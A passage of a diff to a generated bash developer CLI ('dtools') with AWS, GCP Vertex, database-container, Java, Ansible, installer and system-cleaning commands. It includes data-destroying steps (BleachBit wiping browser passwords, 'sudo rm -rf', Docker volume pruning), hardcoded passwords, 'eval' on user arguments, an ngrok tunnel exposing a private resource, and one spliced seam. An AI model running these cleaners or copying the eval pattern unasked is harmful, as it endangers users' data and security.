aws_region="$(get-aws-region)" + # shellcheck disable=SC2154 + declare subnet_id="${args[--subnet-id]}" + declare hostname="${args[--hostname]}" + declare port="${args[--port]}" + declare ngrok_url="${args[--ngrok-url]}" + declare ngrok_auth_token="${args[--ngrok-auth-token]}" + + validate-or-refresh-aws-auth + + cleanup() { + if [[ -n "$instance_id" ]]; then + yellow "Terminating the EC2 instance..." + aws --profile "$aws_profile" --region "$aws_region" ec2 terminate-instances --instance-ids "$instance_id" + fi + } + + trap "cleanup" EXIT + + cyan "Ensuring the AmazonSSMRoleForInstancesQuickSetup role exists..." + if ! aws --profile "$aws_profile" --region "$aws_region" iam get-role --role-name AmazonSSMRoleForInstancesQuickSetup > /dev/null 2>&1; then + yellow "Creating the AmazonSSMRoleForInstancesQuickSetup role..." + aws --profile "$aws_profile" --region "$aws_region" iam create-role \ + --role-name AmazonSSMRoleForInstancesQuickSetup \ + --assume-role-policy-document '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Principal": {"Service": "ec2.amazonaws.com"}, "Action": "sts:AssumeRole"}]}' \ + > /dev/null + + yellow "Attaching the AmazonSSMManagedInstanceCore policy to the role..." + aws --profile "$aws_profile" --region "$aws_region" iam attach-role-policy \ + --role-name AmazonSSMRoleForInstancesQuickSetup \ + --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore + + yellow "Attaching the AmazonSSMPatchAssociation policy to the role..." + aws --profile "$aws_profile" --region "$aws_region" iam attach-role-policy \ + --role-name AmazonSSMRoleForInstancesQuickSetup \ + --policy-arn arn:aws:iam::aws:policy/AmazonSSMPatchAssociation + + yellow "Creating the AmazonSSMRoleForInstancesQuickSetup instance profile..." + aws --profile "$aws_profile" --region "$aws_region" iam create-instance-profile \ + --instance-profile-name AmazonSSMRoleForInstancesQuickSetup \ + > /dev/null + + yellow "Adding the AmazonSSMRoleForInstancesQuickSetup role to the instance profile..." + aws --profile "$aws_profile" --region "$aws_region" iam add-role-to-instance-profile \ + --instance-profile-name AmazonSSMRoleForInstancesQuickSetup --role-name AmazonSSMRoleForInstancesQuickSetup \ + > /dev/null + sleep 5 + fi + + cyan "Launching an EC2 instance..." + # shellcheck disable=SC2155 + declare instance_id=$({ + aws --profile "$aws_profile" --region "$aws_region" ec2 run-instances \ + --image-id resolve:ssm:/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 \ + --instance-type t2.micro \ + --count 1 \ + --subnet-id "$subnet_id" \ + --iam-instance-profile Name=AmazonSSMRoleForInstancesQuickSetup \ + --user-data $'#!/bin/bash\nwget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz\ntar xvzf ./ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin' \ + --query Instances[0].InstanceId \ + --output text + }) + + get-instance-state() { + aws --profile "$aws_profile" --region "$aws_region" ec2 describe-instance-status \ + --instance-ids "$instance_id" \ + --query InstanceStatuses[0] |\ + jq '. | {instance: .InstanceStatus.Details[0].Status, system: .SystemStatus.Details[0].Status}' + } + + status_checks=$(get-instance-state) + until [[ $(jq -r '.instance' <<< "$status_checks") == "passed" && $(jq -r '.system' <<< "$status_checks") == "passed" ]]; do + yellow "Waiting for instance to start..." + sleep 1 + status_checks=$(get-instance-state) + done + + green 'Instance is running!' + + yellow "Adding the ngrok authtoken to the instance..." + aws --profile "$aws_profile" --region "$aws_region" ssm start-session \ + --target "$instance_id" \ + --document-name AWS-StartInteractiveCommand \ + --parameters command="ngrok config add-authtoken $ngrok_auth_token" + + yellow 'Starting ngrok tunnel...' + cyan 'The resource will be available at the following URL: ' + cyan_bold "https://$ngrok_url" + + cyan "\nYou will be able to point Postman to the above URL to access the resource." + + yellow_bold "\nPress 'Ctrl+C' to stop the ngrok tunnel and to terminate the EC2 instance." + + red_bold "This information will only be displayed once. Please make a note of it.\n" + + read -rp "To acknowledge receipt and continue, press 'Enter'." > "$temp_log_file" & + + if [[ ${args[--verbose]} == 1 ]]; then + if [[ ${args[--stdout]} == 1 ]]; then + tail -f "$temp_log_file" + else + lnav "$temp_log_file" + fi + elif [[ ${args[--stdout]} == 1 ]]; then + tail -f "$temp_log_file" |\ + awk '{$1=""; gsub(/^[ \t]+/, "", $0); if ($0 !~ /^END|^REPORT|^START/) { print }}' + else + tail -f "$temp_log_file" |\ + awk '{$1=""; gsub(/^[ \t]+/, "", $0); if ($0 !~ /^END|^REPORT|^START/) { print }}' |\ + lnav + fi + +} + +# :command.function +dtools_aws_logs_query_log_groups_command() { + + # src/commands/aws/logs/query-log-groups.sh + # shellcheck disable=SC2155 + export aws_region="$(get-aws-region)" + # shellcheck disable=SC2155 + export aws_profile="$(get-aws-profile)" + # shellcheck disable=SC2154 + export query="${args[query]}" + # shellcheck disable=SC2154 + export start_time="${args[--start-time]}" + # shellcheck disable=SC2154 + export end_time="${args[--end-time]}" + eval "log_group_names=(${args[--log-group-name]})" + export log_file=$(mktemp) + trap "rm -f $log_file" EXIT + + validate-or-refresh-aws-auth + + write-logs() { + log_group="$1" + query_id="$(aws logs start-query \ + --log-group-names "$log_group" \ + --start-time "$(date -d "$start_time" +"%s%3N")" \ + --end-time "$(date -d "$end_time" +"%s%3N")" \ + --query-string "$query" \ + --profile "$aws_profile" \ + --region "$aws_region" \ + --output json | jq -r '.queryId // empty')" + + if [[ -z $query_id ]]; then + red "Unable to start query for log group: '$log_group'" + exit 1 + fi + + until [[ "$(aws logs get-query-results --query-id "$query_id" --profile "$aws_profile" --region "$aws_region" --query status --output text)" == "Complete" ]]; do + sleep 1 + done + + aws logs get-query-results --query-id "$query_id" --profile "$aws_profile" --region "$aws_region" | tr -d '\000-\037' | jq -r --arg log_group "$log_group" '.results[] | { "timestamp": (.[] | select(.field == "@timestamp") | .value), "message": (.[] | select(.field == "@message") | .value), "logGroup": $log_group }' >> "$log_file" + } + export -f write-logs + + parallel -j8 write-logs {} ::: ${log_group_names[*]} + + jq -rs '. | sort_by(.timestamp) | map("\(.timestamp) \(.logGroup) \(.message)")[]' "$log_file" | sed '/^$/d' + +} + +# :command.function +dtools_aws_rds_list_db_instances_command() { + + # src/commands/aws/rds/list-db-instances.sh + # shellcheck disable=SC2155 + declare aws_region="$(get-aws-region)" + # shellcheck disable=SC2155 + declare aws_profile="$(get-aws-profile)" + + validate-or-refresh-aws-auth + + spinny-start + aws --profile "$aws_profile" \ + --region "$aws_region" \ + rds describe-db-instances \ + --query 'DBInstances[].DBInstanceIdentifier' \ + --output text + spinny-stop + +} + +# :command.function +dtools_aws_rds_fetch_db_connection_details_command() { + + # src/commands/aws/rds/fetch-db-connection-details.sh + # shellcheck disable=SC2155 + declare aws_region="$(get-aws-region)" + # shellcheck disable=SC2155 + declare aws_profile="$(get-aws-profile)" + # shellcheck disable=SC2154 + declare db_instance="${args[db_instance]}" + + validate-or-refresh-aws-auth + + spinny-start + aws --profile "$aws_profile" \ + --region "$aws_region" \ + rds describe-db-instances \ + --query DBInstances[] |\ + jq -r '.[] | select(.DBInstanceIdentifier == "'"$db_instance"'") | .Endpoint | {"address": .Address, "port": .Port}' + spinny-stop + +} + +# :command.function +dtools_gcp_login_command() { + + # src/commands/gcp/login.sh + # shellcheck disable=SC2155 + declare gcp_project="$(get-gcp-project)" + declare gcp_location="$(get-gcp-location)" + + yellow "Refreshing user credentials..." + spinny-start + if ! (gcloud auth login > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to log into GCP." + else + spinny-stop + close-gcp-auth-tab + green "User credentials refreshed" + fi + + yellow "Refreshing application default credentials..." + spinny-start + if ! (gcloud auth application-default login > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to configure GCP credentials for applications." + else + spinny-stop + close-gcp-auth-tab + green "GCP application default credentials refreshed" + fi + + if ( grep "GCP_PROJECT" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^GCP_PROJECT=/c\export GCP_PROJECT=$gcp_project" ~/.bashrc + fi + + if ( grep "GCP_LOCATION" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^GCP_LOCATION=/c\export GCP_LOCATION=$gcp_location" ~/.bashrc + fi + + bash -c "export GCP_PROJECT=$gcp_project; export GCP_LOCATION=$gcp_location; exec bash" + +} + +# :command.function +dtools_gcp_project_command() { + + # src/commands/gcp/project.sh + # shellcheck disable=SC2154 + declare gcp_project="${args[project]}" + + if ( grep "GCP_PROJECT" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^GCP_PROJECT=/c\export GCP_PROJECT=$gcp_project" ~/.bashrc + fi + + gcloud config set project "$gcp_project" + bash -c "export GCP_PROJECT=$gcp_project; exec bash" + +} + +# :command.function +dtools_gcp_location_command() { + + # src/commands/gcp/location.sh + # shellcheck disable=SC2154 + declare gcp_location="${args[location]}" + + if ( grep "GCP_LOCATION" ~/.bashrc ); then + sed -i "/^GCP_LOCATION=/c\export GCP_LOCATION=$gcp_location" ~/.bashrc + fi + + bash -c "export GCP_LOCATION=$gcp_location; exec bash" + +} + +# :command.function +dtools_gcp_get_project_number_command() { + + # src/commands/gcp/get-project-number.sh + # shellcheck disable=SC2154 + declare project_name="${args[project_name]}" + + validate-or-refresh-gcp-auth + + gcloud projects describe "$project_name" --format="value(projectNumber)" + +} + +# :command.function +dtools_gcp_vertex_deploy_model_command() { + + # src/commands/gcp/vertex/deploy-model.sh + # shellcheck disable=SC2155 + declare gcp_location="$(get-gcp-location)" + declare gcp_project="$(get-gcp-project)" + # shellcheck disable=SC2154 + declare container_image="${args[--container-image]}" + declare container_image_uri="${gcp_location}-docker.pkg.dev/${gcp_project}/${container_image}" + declare container_port="${args[--container-port]}" + declare health_route="${args[--health-route]}" + declare predict_route="${args[--predict-route]}" + declare display_name="${args[--display-name]}" + declare artifact_uri="gs://${gcp_project}/${args[--model-gcs-uri]}" + declare endpoint_name="${args[--endpoint-name]}" + declare machine_type="${args[--machine-type]}" + declare accelerator="${args[--accelerator]}" + + validate-or-refresh-gcp-auth + + get-endpoint-id() { + gcloud ai endpoints list \ + --region "$gcp_location" \ + 2> /dev/null |\ + grep -i "$endpoint_name" |\ + awk '{print $1;}' + } + + endpoint-has-deployed-model() { + [[ $(gcloud ai endpoints describe "$endpoint_id" \ + --region "$gcp_location" \ + --format json \ + 2> /dev/null |\ + jq -r '.deployedModels | length > 0') == "true" ]] + } + + yellow "Uploading model to Vertex model registry..." + + if [[ -z "$artifact_uri" ]]; then + gcloud ai models upload \ + --project "$gcp_project" \ + --region "$gcp_location" \ + --display-name "$display_name" \ + --container-image-uri "$container_image_uri" \ + --container-ports "$container_port" \ + --container-health-route "$health_route" \ + --container-predict-route "$predict_route" + else + gcloud ai models upload \ + --project "$gcp_project" \ + --region "$gcp_location" \ + --display-name "$display_name" \ + --container-image-uri "$container_image_uri" \ + --container-ports "$container_port" \ + --container-health-route "$health_route" \ + --container-predict-route "$predict_route" \ + --artifact-uri "$artifact_uri" + fi + + green "Successfully uploaded model to Vertex model registry" + + new_model_id="$(gcloud ai models list --sort-by ~versionCreateTime --format 'value(name)' --region "$gcp_location" 2> /dev/null | head -1)" + + yellow "New model id: '$new_model_id'" + + if [[ -z $(get-endpoint-id) ]]; then + red_bold "Endpoint with name '$endpoint_name' does not exist." + yellow "Creating new endpoint..." + dataset_name="$(tr '-' '_' <<< "$endpoint_name")" + + gcloud ai endpoints create \ + --display-name "$endpoint_name" \ + --region "$gcp_location" \ + --request-response-logging-rate 1 \ + --request-response-logging-table "bq://${gcp_project}.${dataset_name}.serving_predict" + + green "Successfully created new endpoint with name: '$endpoint_name'" + fi + + endpoint_id="$(get-endpoint-id)" + yellow "Endpoint '$endpoint_name' has id: '$endpoint_id'" + + if endpoint-has-deployed-model; then + old_model_id="$(gcloud ai endpoints describe "$endpoint_id" \ + --region "$gcp_location" \ + --format json \ + 2> /dev/null |\ + jq -r '.deployedModels[0].model' |\ + xargs basename)" + deployed_model_id="$(gcloud ai endpoints describe "$endpoint_id" \ + --region "$gcp_location" \ + --format json \ + 2> /dev/null |\ + jq -r '.deployedModels[0].id')" + red "Undeploying existing model: '$old_model_id' with deployed id: '$deployed_model_id'..." + gcloud ai endpoints undeploy-model "$endpoint_id" \ + --region "$gcp_location" \ + --deployed-model-id "$deployed_model_id" + + green "Successfully undeployed existing model: '$old_model_id'" + fi + + yellow "Deploying new model to endpoint '$endpoint_id'..." + if [[ -z "$accelerator" ]]; then + gcloud ai endpoints deploy-model "$endpoint_id" \ + --region "$gcp_location" \ + --model "$new_model_id" \ + --display-name "$display_name" \ + --machine-type "$machine_type" + else + gcloud ai endpoints deploy-model "$endpoint_id" \ + --region "$gcp_location" \ + --model "$new_model_id" \ + --display-name "$display_name" \ + --machine-type "$machine_type" \ + --accelerator "type=${accelerator},count=1" + fi + + green "Successfully deployed model '$new_model_id' to endpoint '$endpoint_id'" + +} + +# :command.function +dtools_gcp_vertex_predict_command() { + + # src/commands/gcp/vertex/predict.sh + # shellcheck disable=SC2155 + declare gcp_location="$(get-gcp-location)" + # shellcheck disable=SC2154 + declare file="${args[--file]}" + declare endpoint_name="${args[--endpoint-name]}" + + validate-or-refresh-gcp-auth + + endpoint_id="$(gcloud ai endpoints list --region "$gcp_location" --format json 2>/dev/null | jq --arg endpoint_name "$endpoint_name" -r '.[] | select(.displayName == $endpoint_name) | .deployedModels[0].id')" + + if [[ -z $endpoint_id ]]; then + red "Invalid endpoint name specified: '$endpoint_name'" + red "Unable to determine endpoint ID" + exit 1 + fi + + model_uri="$(gcloud ai endpoints list --region "$gcp_location" --format json 2>/dev/null | jq --arg endpoint_name "$endpoint_name" -r '.[] | select(.displayName == $endpoint_name) | .name')" + + if [[ -z $model_uri ]]; then + red "Unable to determine model URI from given endpoint name: '$endpoint_name' and region: '$gcp_location'" + exit 1 + fi + + bearer="$(gcloud auth print-access-token)" + + curl -X POST \ + -H "Authorization: Bearer $bearer" \ + -H "Content-Type: application/json; charset=utf-8" \ + -d @"${file}" \ + "https://${gcp_location}-aiplatform.googleapis.com/v1/$model_uri:predict" + +} + +# :command.function +dtools_gcp_vertex_list_endpoints_command() { + + # src/commands/gcp/vertex/list-endpoints.sh + # shellcheck disable=SC2155 + declare gcp_location="$(get-gcp-location)" + declare gcp_project="$(get-gcp-project)" + + validate-or-refresh-gcp-auth + + # shellcheck disable=SC2154 + if [[ ${args[--detailed]} == 1 ]]; then + gcloud ai endpoints list --project "$gcp_project" --region "$gcp_location" --format json + else + gcloud ai endpoints list --project "$gcp_project" --region "$gcp_location" --format=json | jq -r '.[].displayName' + fi + +} + +# :command.function +dtools_gcp_vertex_tail_endpoint_logs_command() { + + # src/commands/gcp/vertex/tail-endpoint-logs.sh + # shellcheck disable=SC2155 + declare gcp_location="$(get-gcp-location)" + declare gcp_project="$(get-gcp-project)" + # shellcheck disable=SC2154 + declare endpoint_name="${args[endpoint_name]}" + + validate-or-refresh-gcp-auth + + endpoint_id="$(gcloud ai endpoints list --region "$gcp_location" --format json 2>/dev/null | jq --arg endpoint_name "$endpoint_name" -r '.[] | select(.displayName == $endpoint_name) | .deployedModels[0].id')" + + if [[ -z $endpoint_id ]]; then + red "Invalid endpoint name specified: '$endpoint_name'" + red "Unable to determine endpoint ID" + exit 1 + fi + + gcloud beta logging tail "resource.type=cloud_aiplatform_endpoint AND resource.labels.endpoint_id=$endpoint_id" --project "$gcp_project" + +} + +# :command.function +dtools_gcp_artifacts_list_repositories_command() { + + # src/commands/gcp/artifacts/list-repositories.sh + # shellcheck disable=SC2155 + declare gcp_location="$(get-gcp-location)" + declare gcp_project="$(get-gcp-project)" + + validate-or-refresh-gcp-auth + + gcloud artifacts repositories list --project "$gcp_project" --location "$gcp_location" --format json 2> /dev/null | jq -r '.[] | .name' | awk -F/ '{printf("%-20s %-15s\n", $6, $4)}' + +} + +# :command.function +dtools_gcp_artifacts_list_images_command() { + + # src/commands/gcp/artifacts/list-images.sh + # shellcheck disable=SC2155 + declare gcp_project="$(get-gcp-project)" + declare gcp_location="$(get-gcp-location)" + # shellcheck disable=SC2154 + declare repository_name="${args[repository_name]}" + + validate-or-refresh-gcp-auth + + if [[ "${args[--detailed]}" == 1 ]]; then + gcloud artifacts docker images list "$gcp_location-docker.pkg.dev/$gcp_project/$repository_name" --format json + else + gcloud artifacts docker images list "$gcp_location-docker.pkg.dev/$gcp_project/$repository_name" 2>&1 | awk 'NR > 3 {print $1}' | xargs -I{} basename {} + fi + +} + +# :command.function +dtools_db_postgres_command() { + + # src/commands/db/postgres.sh + set -e + trap "docker stop postgres > /dev/null 2>&1" EXIT + + # shellcheck disable=SC2154 + declare db="${args[--database]}" + declare port="${args[--port]}" + declare persistent_dir_prefix="${args[--persistent-dir-prefix]}" + declare data_dir="${HOME}/.db/postgres/$persistent_dir_prefix" + eval "schema=(${args[--schema]:-})" + + [[ -d $data_dir ]] || mkdir -p "$data_dir" + + start-persistent-postgres-container() { + docker run -d --rm \ + -v ".:/data" \ + -v "$data_dir:/var/lib/postgresql" \ + -p "$port:5432" \ + --name postgres \ + -e POSTGRES_PASSWORD=password \ + postgres + } + + if [[ ${args[--wipe-persistent-data]} == 1 ]]; then + yellow "Removing persisted data from: $data_dir..." + sudo rm -rf "$data_dir" + fi + + if [[ "${args[--persistent]}" == 1 ]]; then + start-persistent-postgres-container + spinny-start + elif [[ "${args[--dump]}" == 1 || "${args[--dump-to-dbml]}" == 1 ]]; then + start-persistent-postgres-container > /dev/null 2>&1 + else + docker run -d --rm \ + -v ".:/data" \ + -p "$port:5432" \ + --name postgres \ + -e POSTGRES_PASSWORD=password \ + postgres + + spinny-start + fi + + sleep 3 + + # shellcheck disable=SC2154 + if [[ "${args[--tui]}" == 1 ]]; then + spinny-stop + harlequin -a postgres "postgres://postgres:password@localhost:$port/$db" -f . + elif [[ "${args[--dump]}" == 1 ]]; then + docker exec postgres pg_dump -U postgres -s -F p -E UTF-8 + elif [[ "${args[--dump-to-dbml]}" == 1 ]]; then + if [[ "${#schema[@]}" != 0 ]]; then + schemas_parameter="schemas=$(echo -n "${schema[*]}" | tr ' ' ',')" + env NODE_NO_WARNINGS=1 db2dbml postgres "postgresql://postgres:password@localhost:$port/$db?$schemas_parameter" + rm -rf dbml-error.log + else + env NODE_NO_WARNINGS=1 db2dbml postgres "postgresql://postgres:password@localhost:$port/$db" + rm -rf dbml-error.log + fi + else + spinny-stop + docker exec -it postgres psql -U postgres + fi + +} + +# :command.function +dtools_db_mysql_command() { + + # src/commands/db/mysql.sh + set -e + trap "docker stop mysql > /dev/null 2>&1" EXIT + + # shellcheck disable=SC2154 + declare db="${args[--database]}" + declare port="${args[--port]}" + declare persistent_dir_prefix="${args[--persistent-dir-prefix]}" + declare data_dir="${HOME}/.db/mysql/$persistent_dir_prefix" + + [[ -d $data_dir ]] || mkdir -p "$data_dir" + + start-persistent-mysql-container() { + docker run -d --rm \ + -v ".:/app:ro" \ + -v "$data_dir:/var/lib/mysql" \ + -p "$port:3306" \ + --name mysql \ + -e MYSQL_ROOT_PASSWORD=password \ + mysql + } + + if [[ ${args[--wipe-persistent-data]} == 1 ]]; then + yellow "Removing persisted data from: $data_dir..." + rm -rf "$data_dir" + fi + + if [[ "${args[--persistent]}" == 1 ]]; then + start-persistent-mysql-container + spinny-start + elif [[ "${args[--dump]}" == 1 || "${args[--dump-to-dbml]}" == 1 ]]; then + start-persistent-mysql-container > /dev/null 2>&1 + else + docker run -d --rm \ + -v ".:/app:ro" \ + -p "$port:3306" \ + --name mysql \ + -e MYSQL_ROOT_PASSWORD=password \ + mysql + + spinny-start + fi + + sleep 10 + + # shellcheck disable=SC2154 + if [[ "${args[--tui]}" == 1 ]]; then + spinny-stop + if [[ -z $db ]]; then + harlequin -a mysql -h localhost -p "$port" -U root --password password + else + harlequin -a mysql -h localhost -p "$port" -U root --password password --database "$db" + fi + elif [[ "${args[--dump]}" == 1 ]]; then + if [[ -z $db ]]; then + docker exec mysql mysqldump --protocol=tcp -u root -P "$port" --password=password --no-data --all-databases + else + docker exec mysql mysqldump --protocol=tcp -u root -P "$port" --password=password --no-data --databases "$db" + fi + elif [[ "${args[--dump-to-dbml]}" == 1 ]]; then + if [[ -z $db ]]; then + env NODE_NO_WARNINGS=1 db2dbml mysql "mysql://root:password@localhost:$port" + rm -rf dbml-error.log + else + env NODE_NO_WARNINGS=1 db2dbml mysql "mysql://root:password@localhost:$port/$db" + rm -rf dbml-error.log + fi + else + spinny-stop + docker exec -it mysql mysql -u root --password=password + fi + +} + +# :command.function +dtools_db_bigquery_command() { + + # src/commands/db/bigquery.sh + set -e + + # shellcheck disable=SC2154 + declare gcp_location="${args[--location]}" + # shellcheck disable=SC2154 + declare gcp_project="${args[--project]}" + + validate-or-refresh-gcp-auth + + if [[ -n $gcp_location ]]; then + harlequin -a bigquery --project "$gcp_project" --location "$gcp_location" + else + harlequin -a bigquery --project "$gcp_project" + fi + +} + +# :command.function +dtools_elastic_init_command() { + + # src/commands/elastic/init.sh + declare current_dir="$PWD" + + [[ -d $HOME/Applications ]] || mkdir "$HOME"/Applications + cd "$HOME"/Applications || exit + + [[ -d $HOME/Applications/docker-elk ]] || git clone https://github.com/deviantony/docker-elk.git + cd docker-elk || exit + + blue "Build the docker-elk stack just in case a pre-existing version of Elasticsearch needs its nodes upgraded" + docker-compose build + + blue "Start the docker-elk setup container" + docker-compose up setup + + cd "$current_dir" || exit + +} + +# :command.function +dtools_elastic_start_command() { + + # src/commands/elastic/start.sh + declare current_dir="$PWD" + + cd "$HOME"/Applications/docker-elk || exit + + blue "Start the docker-elk stack" + docker-compose up -d + + yellow_bold "\n\n\nDefault credentials:" + yellow "Username: elastic" + yellow "Password: changeme" + + cd "$current_dir" || exit + +} + +# :command.function +dtools_elastic_stop_command() { + + # src/commands/elastic/stop.sh + declare current_dir="$PWD" + + cd "$HOME"/Applications/docker-elk || exit + + blue "Stop the docker-elk stack" + docker-compose down + + cd "$current_dir" || exit + +} + +# :command.function +dtools_java_set_version_command() { + + # src/commands/java/set-version.sh + sudo rm /usr/bin/java + sudo rm /usr/bin/javac + sudo rm /usr/bin/javadoc + sudo rm /usr/bin/javah + sudo rm /usr/bin/javap + + declare basePath=/usr/lib/jvm + # shellcheck disable=SC2154 + declare version="${args[version]}" + + case $version in + 8) + declare jdk8Path="$basePath/java-8-openjdk-amd64/bin" + sudo ln -s "$jdk8Path/java" /usr/bin/java + sudo ln -s "$jdk8Path/javac" /usr/bin/javac + sudo ln -s "$jdk8Path/javadoc" /usr/bin/javadoc + sudo ln -s "$jdk8Path/javah" /usr/bin/javah + sudo ln -s "$jdk8Path/javap" /usr/bin/javap + ;; + 11) + declare jdk11Path="$basePath/java-11-openjdk-amd64/bin" + sudo ln -s "$jdk11Path/java" /usr/bin/java + sudo ln -s "$jdk11Path/javac" /usr/bin/javac + sudo ln -s "$jdk11Path/javadoc" /usr/bin/javadoc + sudo ln -s "$jdk11Path/javah" /usr/bin/javah + sudo ln -s "$jdk11Path/javap" /usr/bin/javap + ;; + 17) + declare jdk17Path="$basePath/java-17-openjdk-amd64/bin" + sudo ln -s "$jdk17Path/java" /usr/bin/java + sudo ln -s "$jdk17Path/javac" /usr/bin/javac + sudo ln -s "$jdk17Path/javadoc" /usr/bin/javadoc + sudo ln -s "$jdk17Path/javah" /usr/bin/javah + sudo ln -s "$jdk17Path/javap" /usr/bin/javap + ;; + 21) + declare jdk21Path="$basePath/java-21-openjdk-amd64/bin" + sudo ln -s "$jdk21Path/java" /usr/bin/java + sudo ln -s "$jdk21Path/javac" /usr/bin/javac + sudo ln -s "$jdk21Path/javadoc" /usr/bin/javadoc + sudo ln -s "$jdk21Path/javah" /usr/bin/javah + sudo ln -s "$jdk21Path/javap" /usr/bin/javap + ;; + esac + +} + +# :command.function +dtools_java_analyze_with_sonar_command() { + + # src/commands/java/analyze-with-sonar.sh + # shellcheck disable=SC2154 + declare sonar_url="${args[--sonar-url]}" + declare sonar_login="${args[--sonar-login]}" + declare sonar_project_key="${args[--sonar-project-key]}" + + if [[ -f pom.xml ]]; then + mvn sonar:sonar \ + -Dsonar.projectKey="$sonar_project_key" \ + -Dsonar.host.url="$sonar_url" \ + -Dsonar.login="sonar_login" + elif [[ -f settings.gradle ]]; then + if (grep -q plugins build.gradle); then + sed '/plugins/a id "org.sonarqube" version "5.0.0.4638"' build.gradle + fi + + ./gradlew sonar \ + -Dsonar.projectKey="$sonar_project_key" \ + -Dsonar.host.url="$sonar_url" \ + -Dsonar.login="$sonar_login" + fi + +} + +# :command.function +dtools_ansible_encrypt_string_command() { + + # src/commands/ansible/encrypt-string.sh + encrypt-string() { + ansible-vault encrypt_string --ask-vault-pass --encrypt-vault-id default + } + + # shellcheck disable=SC2154 + if [[ "${args[--copy-output-to-clipboard]}" == 1 ]]; then + yellow "Press 'Ctrl-d' twice to end secret input" + encrypt-string | xclip -sel clip + else + encrypt-string + fi + +} + +# :command.function +dtools_ansible_decrypt_variable_command() { + + # src/commands/ansible/decrypt-variable.sh + # shellcheck disable=SC2154 + ansible localhost -m ansible.builtin.debug -a var="${args[--variable]}" -e "@${args[--file]}" --ask-vault-pass + +} + +# :command.function +dtools_install_docker_command() { + + # src/commands/install/docker.sh + blue_bold "Installing prerequisites..." + yes | sudo add-apt-repository universe + yes | sudo add-apt-repository multiverse + sudo apt-get update + sudo apt-get install ca-certificates curl gnupg lsb-release apt-transport-https + + blue_bold "Checking for the /etc/apt/keyrings directory..." + [[ -d /etc/apt/keyrings ]] || sudo mkdir /etc/apt/keyrings + + blue_bold "Installing the Docker GPG key..." + sudo install -m 0755 -d /etc/apt/keyrings + curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg + sudo chmod a+r /etc/apt/keyrings/docker.gpg + + blue_bold "Setting up the Docker APT repository..." + echo \ + "deb [arch=\"$(dpkg --print-architecture)\" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ + \"$(. /etc/os-release && echo $VERSION_CODENAME)\" stable" | \ + sudo tee /etc/apt/sources.list.d/docker.list > /dev/null + sudo apt-get update + + blue_bold "Installing Docker..." + sudo apt-get install containerd.io docker-ce docker-ce-cli docker-compose-plugin docker-buildx-plugin + + green_bold "Successfully installed Docker" + +} + +# :command.function +dtools_install_ansible_command() { + + # src/commands/install/ansible.sh + sudo apt-get update + sudo apt-get install python3.8 python3-pip + pip3 install --user ansible + +} + +# :command.function +dtools_install_java_command() { + + # src/commands/install/java.sh + sudo add-apt-repository ppa:openjdk-r/ppa + sudo apt-get update + sudo apt-get install openjdk-8-jdk openjdk-11-jdk openjdk-17-jdk openjdk-21-jdk -y +} + +# :command.function +dtools_clean_bleachbit_command() { + + # src/commands/clean/bleachbit.sh + blue_bold "Running BleachBit" + + spinny-start + readarray -t bleachbitCleanList < <(cat <<-EOF + adobe_reader.cache + adobe_reader.mru + adobe_reader.tmp + apt.autoclean + apt.autoremove + apt.clean + apt.package_lists + chromium.cache + chromium.cookies + chromium.dom + chromium.form_history + chromium.history + chromium.passwords + chromium.search_engines + chromium.session + chromium.sync + chromium.vacuum + discord.cache + discord.cookies + discord.history + discord.vacuum + elinks.history + epiphany.cache + epiphany.cookies + epiphany.dom + epiphany.passwords + epiphany.places + evolution.cache + firefox.cache + firefox.cookies + firefox.crash_reports + flash.cache + gedit.recent_documents + gimp.tmp + google_chrome.cache + google_chrome.cookies + google_chrome.dom + google_chrome.form_history + google_chrome.history + google_chrome.passwords + google_chrome.search_engines + google_chrome.session + google_chrome.sync + google_chrome.vacuum + google_earth.temporary_files + google_toolbar.search_history + java.cache + journald.clean + libreoffice.cache + libreoffice.history + openofficeorg.cache + openofficeorg.recent_documents + opera.cache + opera.cookies + opera.dom + opera.form_history + opera.history + opera.passwords + opera.session + opera.vacuum + pidgin.cache + pidgin.logs + realplayer.cookies + realplayer.history + realplayer.logs + rhythmbox.cache + rhythmbox.history + seamonkey.cache + seamonkey.chat_logs + seamonkey.cookies + seamonkey.download_history + seamonkey.history + secondlife_viewer.Cache + secondlife_viewer.Logs + skype.chat_logs + skype.installers + sqlite3.history + system.cache + system.clipboard + system.rotated_logs + system.trash + system.tmp + thumbnails.cache + thunderbird.cache + thunderbird.cookies + thunderbird.index + thunderbird.passwords + thunderbird.vacuum + transmission.history + transmission.torrents + vlc.memory_dump + vlc.mru + wine.tmp + winetricks.temporary_files + x11.debug_logs + EOF + ) + +for cleaner in "${bleachbitCleanList[@]}"; do + + blue_bold "Running BleachBit cleaner: $cleaner" + sudo bleachbit -c "$cleaner" +done + +spinny-stop + +green_bold "Finished running BleachBit cleaners" + +} + +# :command.function +dtools_clean_docker_command() { + + # src/commands/clean/docker.sh + blue_bold "Cleaning docker" + + blue_bold "Pruning Docker images and containers..." + spinny-start + yes | docker system prune -a + spinny-stop + + blue_bold "Pruning Docker volumes..." + spinny-start + yes | docker volume prune + spinny-stop + + green_bold "Finished cleaning Docker" + +} + +# :command.function +dtools_clean_package_caches_command() { + + # src/commands/clean/package-caches.sh + blue_bold "Cleaning packages..." + + blue_bold "Cleaning apt cache..." + sudo apt-get clean + sudo apt-get autoclean + blue_bold "Removing unnecessary apt dependencies..." + sudo apt-get autoremove + sudo apt-get purge + + blue_bold "Cleaning up pip cache..." + pip cache purge + + sudo pip cache purge + + if (command -v snap > /dev/null 2>&1); then + blue_bold "Removing disabled snaps..." + set -eu + LANG=en_US.UTF-8 snap list --all |\ + awk '/disabled/{print $1, $3}' |\ + while read -r snapname revision; do + snap remove "$snapname" --revision="$revision" + done + blue_bold "Purging cached Snap versions..." + sudo rm -rf /var/cache/snapd/* + fi + + green_bold "Finished cleaning packages" + +} + +# :command.function +dtools_clean_logs_command() { + + # src/commands/clean/logs.sh + 